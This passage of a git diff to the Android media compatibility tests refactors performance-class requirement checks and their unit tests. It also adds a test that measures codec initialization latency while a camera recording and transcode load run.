+ inputTestFile = INPUT_VIDEO_FILE_HBD;
+ outputFilePrefix += "_10bit";
+ profiles = mProfileHlgMap.get(mMime);
+ } else {
+ profiles = mProfileSdrMap.get(mMime);
+ }
+ }
assertTrue("no profile entry found for mime" + mMime, profiles != null);
+
// cdd check initialization
boolean cddSupportedMime = mProfileLevelCdd.get(mMime) != null;
int[] profileCdd = new int[0];
@@ -660,11 +699,11 @@
profileCdd = cddProfileLevel.first;
levelCdd = cddProfileLevel.second;
}
- MediaFormat format = mConfigFormat;
mOutputBuff = new OutputManager();
- setUpSource(mInputFile);
+ setUpSource(inputTestFile);
mSaveToMem = true;
- String tempMuxedFile = File.createTempFile("tmp", ".out").getAbsolutePath();
+
+ String tempMuxedFile = File.createTempFile(outputFilePrefix, ".bin").getAbsolutePath();
{
mCodec = MediaCodec.createByCodecName(mCodecName);
MediaCodecInfo.CodecCapabilities codecCapabilities =
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 9424638..9011b62 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
// user has specified the mediaDirString via instrumentation-arg
return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
} else {
- return (getTopDirString() + "test/CtsMediaV2TestCases-2.2/");
+ return (getTopDirString() + "test/CtsMediaV2TestCases-2.3/");
}
}
}
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
index 92d3bff..c5cee03 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/RequiredMeasurement.java
@@ -73,7 +73,7 @@
public abstract RequiredMeasurement<T> build();
}
- private final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
+ public final RequirementConstants.Result meetsPerformanceClass(int mediaPerformanceClass) {
if (!this.expectedValues().containsKey(mediaPerformanceClass)) {
return RequirementConstants.Result.NA;
} else if (this.measuredValue == null || !this.predicate().test(this.measuredValue,
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
index 9f0bc44..d6cf8d4 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/Requirement.java
@@ -26,6 +26,7 @@
import com.google.common.annotations.VisibleForTesting;
import com.google.common.collect.ImmutableMap;
+import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
@@ -89,35 +90,18 @@
}
@VisibleForTesting
- protected boolean checkPerformanceClass(String testName, int reportPerfClass,
- int expectedPerfClass) {
- if (reportPerfClass < expectedPerfClass) {
- Log.w(Requirement.TAG, "Test: " + testName + " reporting invalid performance class " +
- reportPerfClass + " for requirement " + this.id + " performance class should at " +
- "least be: " + expectedPerfClass);
- for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
- Map<Integer, RequirementConstants.Result> perfClasses = rm.getPerformanceClass();
- int maxMetPerformanceClass = 0;
- for (int pc: perfClasses.keySet()) {
- if (perfClasses.get(pc) == RequirementConstants.Result.MET) {
- maxMetPerformanceClass = Math.max(maxMetPerformanceClass, pc);
- }
- }
-
- if (maxMetPerformanceClass < expectedPerfClass) {
- Log.w(Requirement.TAG, rm.toString());
- } else {
- Log.i(Requirement.TAG, rm.toString());
- }
+ protected boolean checkPerformanceClass(int devicePerfClass) {
+ boolean noResultsUnment = true;
+ for (RequiredMeasurement<?> rm: this.mRequiredMeasurements.values()) {
+ RequirementConstants.Result res = rm.meetsPerformanceClass(devicePerfClass);
+ if (res == RequirementConstants.Result.UNMET) {
+ Log.w(Requirement.TAG, rm.toString());
+ noResultsUnment = false;
+ } else {
+ Log.i(Requirement.TAG, rm.toString());
}
- return false;
- } else {
- return true;
}
- }
-
- private boolean checkPerformanceClass(String testName, int reportPerfClass) {
- return this.checkPerformanceClass(testName, reportPerfClass, Utils.getPerfClass());
+ return noResultsUnment;
}
protected <T> void setMeasuredValue(String measurement, T measuredValue) {
@@ -142,6 +126,6 @@
ResultUnit.NONE);
log.submit(InstrumentationRegistry.getInstrumentation());
- return this.checkPerformanceClass(testName, perfClass);
+ return this.checkPerformanceClass(Utils.getPerfClass());
}
}
diff --git a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
index b330724..04dd6f0e 100644
--- a/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
+++ b/tests/mediapc/common/tests/src/android/mediapc/cts/common/RequirementTest.java
@@ -28,103 +28,158 @@
super(id, reqs);
}
- public void setGTEMeasurement(int measure) {
+ public void setMeasurement1(int measure) {
this.<Integer>setMeasuredValue("test_measurement_1", measure);
}
- public void setLTEMeasurement(int measure) {
- this.<Integer>setMeasuredValue("test_measurement_2", measure);
- }
-
public static TestReq create() {
RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
.<Integer>builder()
.setId("test_measurement_1")
.setPredicate(RequirementConstants.INTEGER_GTE)
- .addRequiredValue(Build.VERSION_CODES.R, 200)
- .addRequiredValue(Build.VERSION_CODES.S, 300)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
+ .build();
+
+ return new TestReq("TestReq", measurement1);
+ }
+ }
+
+ public static class TestReqWith2Measures extends Requirement {
+ private TestReqWith2Measures(String id, RequiredMeasurement<?> ... reqs) {
+ super(id, reqs);
+ }
+
+ public void setMeasurement1(int measure) {
+ this.<Integer>setMeasuredValue("test_measurement_1", measure);
+ }
+
+ public void setMeasurement2(int measure) {
+ this.<Integer>setMeasuredValue("test_measurement_2", measure);
+ }
+
+ public static TestReqWith2Measures create() {
+ RequiredMeasurement<Integer> measurement1 = RequiredMeasurement
+ .<Integer>builder()
+ .setId("test_measurement_1")
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
.build();
RequiredMeasurement<Integer> measurement2 = RequiredMeasurement
.<Integer>builder()
.setId("test_measurement_2")
- .setPredicate(RequirementConstants.INTEGER_LTE)
- .addRequiredValue(Build.VERSION_CODES.R, 500)
- .addRequiredValue(Build.VERSION_CODES.S, 300)
+ .setPredicate(RequirementConstants.INTEGER_GTE)
+ .addRequiredValue(30, 200)
+ .addRequiredValue(31, 300)
+ .addRequiredValue(32, 400)
.build();
- return new TestReq("TestReq", measurement1, measurement2);
+ return new TestReqWith2Measures("TestReqWith2Measures", measurement1, measurement2);
}
}
- // used as a base for computePerformanceClass_testCase methods
- private void testComputePerformanceClass(int gteMeasure, int lteMeasure, int expectedPC) {
+ @Test
+ public void computePerformanceClass_0() {
TestReq testReq = TestReq.create();
int pc;
- // both measurements do not meet R
- testReq.setGTEMeasurement(gteMeasure);
- testReq.setLTEMeasurement(lteMeasure);
+ testReq.setMeasurement1(100);
pc = testReq.computePerformanceClass();
- assertThat(pc).isEqualTo(expectedPC);
+ assertThat(pc).isEqualTo(0);
}
@Test
- public void computePerformanceClass_bothNotR() {
- // both measurements do not meet R
- this.testComputePerformanceClass(100, 600, 0);
- }
-
- @Test
- public void computePerformanceClass_onlyOneR() {
- // one measurement does not meet R
- this.testComputePerformanceClass(200, 600, 0);
- }
-
- @Test
- public void computePerformanceClass_bothR() {
- // both measurements meet R
- this.testComputePerformanceClass(200, 500, Build.VERSION_CODES.R);
- }
-
- @Test
- public void computePerformanceClass_onlyOneS() {
- // one measurements does not meet S
- this.testComputePerformanceClass(200, 100, Build.VERSION_CODES.R);
- }
-
- @Test
- public void computePerformanceClass_bothS() {
- // both measurements meet S
- this.testComputePerformanceClass(500, 100, Build.VERSION_CODES.S);
- }
-
- // used as a base for checkPerformanceClass_testCase methods
- private void testCheckPerformanceClass(int testPerfClass, boolean expectedResult) {
+ public void computePerformanceClass_30() {
TestReq testReq = TestReq.create();
- boolean perfClassMet;
+ int pc;
- perfClassMet = testReq.checkPerformanceClass("checkPerformanceClass", testPerfClass, 31);
- assertThat(perfClassMet).isEqualTo(expectedResult);
+ testReq.setMeasurement1(200);
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(30);
+ }
+
+ @Test
+ public void computePerformanceClass_31() {
+ TestReq testReq = TestReq.create();
+ int pc;
+
+ testReq.setMeasurement1(300);
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(31);
+ }
+
+ @Test
+ public void computePerformanceClass_32() {
+ TestReq testReq = TestReq.create();
+ int pc;
+
+ testReq.setMeasurement1(400);
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(32);
+ }
+
+ @Test
+ public void computePerformanceClass_PicksLower() {
+ TestReqWith2Measures testReq = TestReqWith2Measures.create();
+ int pc;
+
+ // measure1 meets 32, but measure2 only meets 30
+ testReq.setMeasurement1(401);
+ testReq.setMeasurement2(201);
+
+ pc = testReq.computePerformanceClass();
+ assertThat(pc).isEqualTo(30);
}
@Test
public void checkPerformanceClass_justBelow() {
- // just below required perfClass
- int testPerfClass = 30;
- this.testCheckPerformanceClass(testPerfClass, false);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ perfClassMet = testReq.checkPerformanceClass(32);
+ assertThat(perfClassMet).isEqualTo(false);
}
@Test
public void checkPerformanceClass_justAt() {
- // just at required perfClass
- int testPerfClass = 31;
- this.testCheckPerformanceClass(testPerfClass, true);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ perfClassMet = testReq.checkPerformanceClass(31);
+ assertThat(perfClassMet).isEqualTo(true);
}
@Test
public void checkPerformanceClass_justAbove() {
- // just above required perfClass
- int testPerfClass = 32;
- this.testCheckPerformanceClass(testPerfClass, true);
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(301);
+
+ perfClassMet = testReq.checkPerformanceClass(30);
+ assertThat(perfClassMet).isEqualTo(true);
+ }
+
+ @Test
+ public void checkPerformanceClass_OutOfRange() {
+ TestReq testReq = TestReq.create();
+ boolean perfClassMet;
+
+ // setting measurements to meet pc 31
+ testReq.setMeasurement1(300);
+
+ // performance class 33 not handled by testReq, so expected result is true
+ perfClassMet = testReq.checkPerformanceClass(33);
+ assertThat(perfClassMet).isEqualTo(true);
}
}
\ No newline at end of file
diff --git a/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
new file mode 100644
index 0000000..e1260e7
--- /dev/null
+++ b/tests/mediapc/src/android/mediapc/cts/CodecInitializationLatencyTest.java
@@ -0,0 +1,662 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import static android.mediapc.cts.CodecTestBase.SELECT_ALL;
+import static android.mediapc.cts.CodecTestBase.SELECT_AUDIO;
+import static android.mediapc.cts.CodecTestBase.SELECT_HARDWARE;
+import static android.mediapc.cts.CodecTestBase.SELECT_VIDEO;
+import static android.mediapc.cts.CodecTestBase.getMimesOfAvailableCodecs;
+import static android.mediapc.cts.CodecTestBase.selectCodecs;
+import static android.mediapc.cts.CodecTestBase.selectHardwareCodecs;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaFormat;
+import android.media.MediaRecorder;
+import android.mediapc.cts.common.Utils;
+import android.os.Build;
+import android.util.Log;
+import android.util.Pair;
+import android.view.Surface;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * The following test class validates the codec initialization latency (time for codec create +
+ * configure) for the audio codecs and hardware video codecs available in the device, under the
+ * load condition (Transcode + MediaRecorder session Audio(Microphone) and 1080p Video(Camera)).
+ */
+@RunWith(Parameterized.class)
+public class CodecInitializationLatencyTest {
+ private static final String LOG_TAG = CodecInitializationLatencyTest.class.getSimpleName();
+ private static final boolean[] boolStates = {false, true};
+ private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS = 50;
+ private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS = 65;
+ private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS = 40;
+ private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS = 50;
+ private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS = 30;
+ private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS = 40;
+ private static final int MAX_AUDIODEC_INITIALIZATION_LATENCY_PC_T_MS = 30;
+ private static final int MAX_VIDEODEC_INITIALIZATION_LATENCY_PC_T_MS = 40;
+
+ private static final int MAX_AUDIOENC_INITIALIZATION_LATENCY_MS;
+ private static final int MAX_VIDEOENC_INITIALIZATION_LATENCY_MS;
+ private static final int MAX_AUDIODEC_INITIALIZATION_LATENCY_MS;
+ private static final int MAX_VIDEODEC_INITIALIZATION_LATENCY_MS;
+ private static final String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
+ private static final String HEVC = MediaFormat.MIMETYPE_VIDEO_HEVC;
+ private static final String AVC_TRANSCODE_FILE = "bbb_1280x720_3mbps_30fps_avc.mp4";
+ private static String AVC_DECODER_NAME;
+ private static String AVC_ENCODER_NAME;
+ private static final Map<String, String> mTestFiles = new HashMap<>();
+
+ static {
+ if (Utils.isRPerfClass()) {
+ MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS;
+ MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS;
+ } else if (Utils.isSPerfClass()) {
+ MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS;
+ MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS;
+ } else {
+ // Performance class Build.VERSION_CODES.TIRAMISU and beyond
+ MAX_AUDIOENC_INITIALIZATION_LATENCY_MS = MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS;
+ MAX_VIDEOENC_INITIALIZATION_LATENCY_MS = MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS;
+ }
+ if (Utils.isTPerfClass()) {
+ MAX_AUDIODEC_INITIALIZATION_LATENCY_MS = MAX_AUDIODEC_INITIALIZATION_LATENCY_PC_T_MS;
+ MAX_VIDEODEC_INITIALIZATION_LATENCY_MS = MAX_VIDEODEC_INITIALIZATION_LATENCY_PC_T_MS;
+ } else {
+ // no requirement below performance class Build.VERSION_CODES.TIRAMISU
+ MAX_AUDIODEC_INITIALIZATION_LATENCY_MS = Integer.MAX_VALUE;
+ MAX_VIDEODEC_INITIALIZATION_LATENCY_MS = Integer.MAX_VALUE;
+ }
+ // TODO(b/222006626): Add tests vectors for remaining media types
+ // Audio media types
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AAC, "bbb_stereo_48kHz_128kbps_aac.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_NB, "bbb_mono_8kHz_12.2kbps_amrnb.3gp");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_23kbps_amrwb.3gp");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_FLAC, "bbb_1ch_12kHz_lvl4_flac.mka");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_ALAW, "bbb_2ch_8kHz_alaw.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_G711_MLAW, "bbb_2ch_8kHz_mulaw.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_1ch_8kHz_lame_cbr.mp3");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_MSGSM, "bbb_1ch_8kHz_gsm.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_OPUS, "bbb_2ch_48kHz_opus.mka");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_RAW, "bbb_1ch_8kHz.wav");
+ mTestFiles.put(MediaFormat.MIMETYPE_AUDIO_VORBIS, "bbb_stereo_48kHz_128kbps_vorbis.ogg");
+
+ // Video media types
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AV1, "bbb_1920x1080_4mbps_30fps_av1.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1920x1080_6mbps_30fps_avc.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_H263, "bbb_cif_768kbps_30fps_h263.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_1920x1080_4mbps_30fps_hevc.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG2, "bbb_1920x1080_mpeg2_main_high.mp4");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_cif_768kbps_30fps_mpeg4.mkv");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP8, "bbb_1920x1080_6mbps_30fps_vp8.webm");
+ mTestFiles.put(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_1920x1080_4mbps_30fps_vp9.webm");
+ }
+
+ private final String mMime;
+ private final String mCodecName;
+
+ private LoadStatus mTranscodeLoadStatus = null;
+ private Thread mTranscodeLoadThread = null;
+ private MediaRecorder mMediaRecorderLoad = null;
+ private File mTempRecordedFile = null;
+ private Surface mSurface = null;
+ private Exception mException = null;
+
+ @Before
+ public void setUp() throws Exception {
+ Utils.assumeDeviceMeetsPerformanceClassPreconditions();
+
+ ArrayList<String> listOfAvcHwDecoders = selectHardwareCodecs(AVC, null, null, false);
+ assumeFalse("Test requires h/w avc decoder", listOfAvcHwDecoders.isEmpty());
+ AVC_DECODER_NAME = listOfAvcHwDecoders.get(0);
+
+ ArrayList<String> listOfAvcHwEncoders = selectHardwareCodecs(AVC, null, null, true);
+ assumeFalse("Test requires h/w avc encoder", listOfAvcHwEncoders.isEmpty());
+ AVC_ENCODER_NAME = listOfAvcHwEncoders.get(0);
+
+ Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+ Context context = instrumentation.getTargetContext();
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager.getSystemAvailableFeatures());
+ assumeTrue("The device doesn't have a camera",
+ packageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_ANY));
+ assumeTrue("The device doesn't have a microphone",
+ packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE));
+ createSurface();
+ startLoad();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ stopLoad();
+ releaseSurface();
+ }
+
+ public CodecInitializationLatencyTest(String mimeType, String codecName) {
+ mMime = mimeType;
+ mCodecName = codecName;
+ }
+
+ @Rule
+ public ActivityTestRule<TestActivity> mActivityRule =
+ new ActivityTestRule<>(TestActivity.class);
+
+ /**
+ * Returns the list of parameters with mimetype and their codecs(for audio - all codecs,
+ * video - hardware codecs).
+ *
+ * @return Collection of Parameters {0}_{1} -- MIME_CodecName
+ */
+ @Parameterized.Parameters(name = "{index}({0}_{1})")
+ public static Collection<Object[]> inputParams() {
+ // Prepares the params list with the required Hardware video codecs and all available
+ // audio codecs present in the device.
+ final List<Object[]> argsList = new ArrayList<>();
+ Set<String> mimeSet = getMimesOfAvailableCodecs(SELECT_VIDEO, SELECT_HARDWARE);
+ mimeSet.addAll(getMimesOfAvailableCodecs(SELECT_AUDIO, SELECT_ALL));
+ for (String mime : mimeSet) {
+ ArrayList<String> listOfCodecs;
+ if (mime.startsWith("audio/")) {
+ listOfCodecs = selectCodecs(mime, null, null, true);
+ listOfCodecs.addAll(selectCodecs(mime, null, null, false));
+ } else {
+ listOfCodecs = selectHardwareCodecs(mime, null, null, true);
+ listOfCodecs.addAll(selectHardwareCodecs(mime, null, null, false));
+ }
+ for (String codec : listOfCodecs) {
+ argsList.add(new Object[]{mime, codec});
+ }
+ }
+ return argsList;
+ }
+
+ private MediaRecorder createMediaRecorderLoad(Surface surface) throws Exception {
+ MediaRecorder mediaRecorder = new MediaRecorder(InstrumentationRegistry.getInstrumentation()
+ .getContext());
+ mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
+ mediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
+ mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
+ mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
+ mediaRecorder.setVideoEncoder(mMime.equalsIgnoreCase(HEVC) ?
+ MediaRecorder.VideoEncoder.HEVC : MediaRecorder.VideoEncoder.H264);
+ mediaRecorder.setOutputFile(mTempRecordedFile);
+ mediaRecorder.setVideoSize(1920, 1080);
+ mediaRecorder.setOrientationHint(0);
+ mediaRecorder.setPreviewDisplay(surface);
+ mediaRecorder.prepare();
+ return mediaRecorder;
+ }
+
+ private void startLoad() throws Exception {
+ // TODO: b/183671436
+ // Create Transcode load (AVC Decoder(720p) + AVC Encoder(720p))
+ mTranscodeLoadStatus = new LoadStatus();
+ mTranscodeLoadThread = new Thread(() -> {
+ try {
+ TranscodeLoad transcodeLoad = new TranscodeLoad(AVC, AVC_TRANSCODE_FILE,
+ AVC_DECODER_NAME, AVC_ENCODER_NAME, mTranscodeLoadStatus);
+ transcodeLoad.doTranscode();
+ } catch (Exception e) {
+ mException = e;
+ }
+ });
+ // Create MediaRecorder Session - Audio (Microphone) + 1080p Video (Camera)
+ // Create a temp file to dump the MediaRecorder output. Later it will be deleted.
+ mTempRecordedFile = new File(WorkDir.getMediaDirString() + "tempOut.mp4");
+ mTempRecordedFile.createNewFile();
+ mMediaRecorderLoad = createMediaRecorderLoad(mSurface);
+ // Start the Loads
+ mTranscodeLoadThread.start();
+ mMediaRecorderLoad.start();
+ }
+
+ private void stopLoad() throws Exception {
+ if (mTranscodeLoadStatus != null) {
+ mTranscodeLoadStatus.setLoadFinished();
+ mTranscodeLoadStatus = null;
+ }
+ if (mTranscodeLoadThread != null) {
+ mTranscodeLoadThread.join();
+ mTranscodeLoadThread = null;
+ }
+ if (mMediaRecorderLoad != null) {
+ // Note that a RuntimeException is intentionally thrown to the application, if no valid
+ // audio/video data has been received when stop() is called. This happens if stop() is
+ // called immediately after start(). So sleep for 1000ms inorder to make sure some
+ // data has been received between start() and stop().
+ Thread.sleep(1000);
+ mMediaRecorderLoad.stop();
+ mMediaRecorderLoad.release();
+ mMediaRecorderLoad = null;
+ if (mTempRecordedFile != null && mTempRecordedFile.exists()) {
+ mTempRecordedFile.delete();
+ mTempRecordedFile = null;
+ }
+ }
+ if (mException != null) throw mException;
+ }
+
+ private void createSurface() throws InterruptedException {
+ mActivityRule.getActivity().waitTillSurfaceIsCreated();
+ mSurface = mActivityRule.getActivity().getSurface();
+ assertNotNull("Surface created is null.", mSurface);
+ assertTrue("Surface created is invalid.", mSurface.isValid());
+ mActivityRule.getActivity().setScreenParams(1920, 1080, true);
+ }
+
+ private void releaseSurface() {
+ if (mSurface != null) {
+ mSurface.release();
+ mSurface = null;
+ }
+ }
+
+ /**
+ * This test validates the initialization latency (time for codec create + configure) for
+ * audio and hw video codecs.
+ *
+ * <p>Measurements are taken 5 * 2(sync/async) * [1 or 2]
+ * (surface/non-surface for video) times. This also logs the stats: min, max, avg of the codec
+ * initialization latencies.
+ */
+ @LargeTest
+ @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
+ @CddTest(requirements = {
+ "2.2.7.1/5.1/H-1-7",
+ "2.2.7.1/5.1/H-1-8",})
+ public void testInitializationLatency() throws Exception {
+ MediaCodec codec = MediaCodec.createByCodecName(mCodecName);
+ boolean isEncoder = codec.getCodecInfo().isEncoder();
+ boolean isAudio = mMime.startsWith("audio/");
+ codec.release();
+ final int NUM_MEASUREMENTS = 5;
+ // Test gathers initialization latency for a number of iterations and
+ // percentile is a variable used to control how many of these iterations
+ // need to meet the pass criteria. For eg. if NUM_MEASUREMENTS = 5, audio, sync and Async
+ // modes which is a total of 10 iterations, this translates to index 7.
+ final int percentile = 70;
+ long expectedMaxCodecInitializationLatencyMs = isAudio ?
+ isEncoder ? MAX_AUDIOENC_INITIALIZATION_LATENCY_MS :
+ MAX_AUDIODEC_INITIALIZATION_LATENCY_MS :
+ isEncoder ? MAX_VIDEOENC_INITIALIZATION_LATENCY_MS :
+ MAX_VIDEODEC_INITIALIZATION_LATENCY_MS;
+ long sumOfCodecInitializationLatencyMs = 0;
+ int count = 0;
+ int numOfActualMeasurements =
+ NUM_MEASUREMENTS * boolStates.length * ((!isEncoder && !isAudio) ? 2 : 1);
+ long[] codecInitializationLatencyMs = new long[numOfActualMeasurements];
+ for (int i = 0; i < NUM_MEASUREMENTS; i++) {
+ for (boolean isAsync : boolStates) {
+ long latency;
+ if (isEncoder) {
+ EncoderInitializationLatency encoderInitializationLatency =
+ new EncoderInitializationLatency(mMime, mCodecName, isAsync);
+ latency = encoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ } else {
+ String testFile = mTestFiles.get(mMime);
+ assumeTrue("Add test vector for media type: " + mMime, testFile != null);
+ if (isAudio) {
+ DecoderInitializationLatency decoderInitializationLatency =
+ new DecoderInitializationLatency(mMime, mCodecName, testFile,
+ isAsync, false);
+ latency = decoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ } else {
+ for (boolean surfaceMode : boolStates) {
+ DecoderInitializationLatency decoderInitializationLatency =
+ new DecoderInitializationLatency(mMime, mCodecName,
+ testFile,
+ isAsync, surfaceMode);
+ latency = decoderInitializationLatency.calculateInitLatency();
+ codecInitializationLatencyMs[count] = latency;
+ sumOfCodecInitializationLatencyMs += latency;
+ count++;
+ }
+ }
+ }
+ }
+ }
+ Arrays.sort(codecInitializationLatencyMs);
+
+ String statsLog = String.format("CodecInitialization latency for mime: %s, " +
+ "Codec: %s, in Ms :: ", mMime, mCodecName);
+ Log.i(LOG_TAG, "Min " + statsLog + codecInitializationLatencyMs[0]);
+ Log.i(LOG_TAG, "Max " + statsLog + codecInitializationLatencyMs[count - 1]);
+ Log.i(LOG_TAG, "Avg " + statsLog + (sumOfCodecInitializationLatencyMs / count));
+ long initializationLatency = codecInitializationLatencyMs[percentile * count / 100];
+ if (Utils.isPerfClass()) {
+ String errorLog = String.format(
+ "CodecInitialization latency for mime: %s, Codec: %s is not as expected."
+ + "act/exp in Ms :: %d/%d", mMime, mCodecName, initializationLatency,
+ expectedMaxCodecInitializationLatencyMs);
+ assertTrue(errorLog, initializationLatency <= expectedMaxCodecInitializationLatencyMs);
+ } else {
+ int pc;
+ if (mMime.startsWith("audio/")) {
+ pc = initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_T_MS ?
+ Build.VERSION_CODES.TIRAMISU :
+ initializationLatency < MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_S_MS ?
+ Build.VERSION_CODES.S : initializationLatency <
+ MAX_AUDIOENC_INITIALIZATION_LATENCY_PC_R_MS ?
+ Build.VERSION_CODES.R : 0;
+ } else {
+ pc = initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_T_MS ?
+ Build.VERSION_CODES.TIRAMISU :
+ initializationLatency < MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_S_MS ?
+ Build.VERSION_CODES.S : initializationLatency <
+ MAX_VIDEOENC_INITIALIZATION_LATENCY_PC_R_MS ?
+ Build.VERSION_CODES.R : 0;
+ }
+ DeviceReportLog log = new DeviceReportLog("MediaPerformanceClassLogs",
+ "InitializationLatency_" + mCodecName);
+ log.addValue("codec", mCodecName, ResultType.NEUTRAL, ResultUnit.NONE);
+ log.addValue("initialization_latency", initializationLatency, ResultType.LOWER_BETTER,
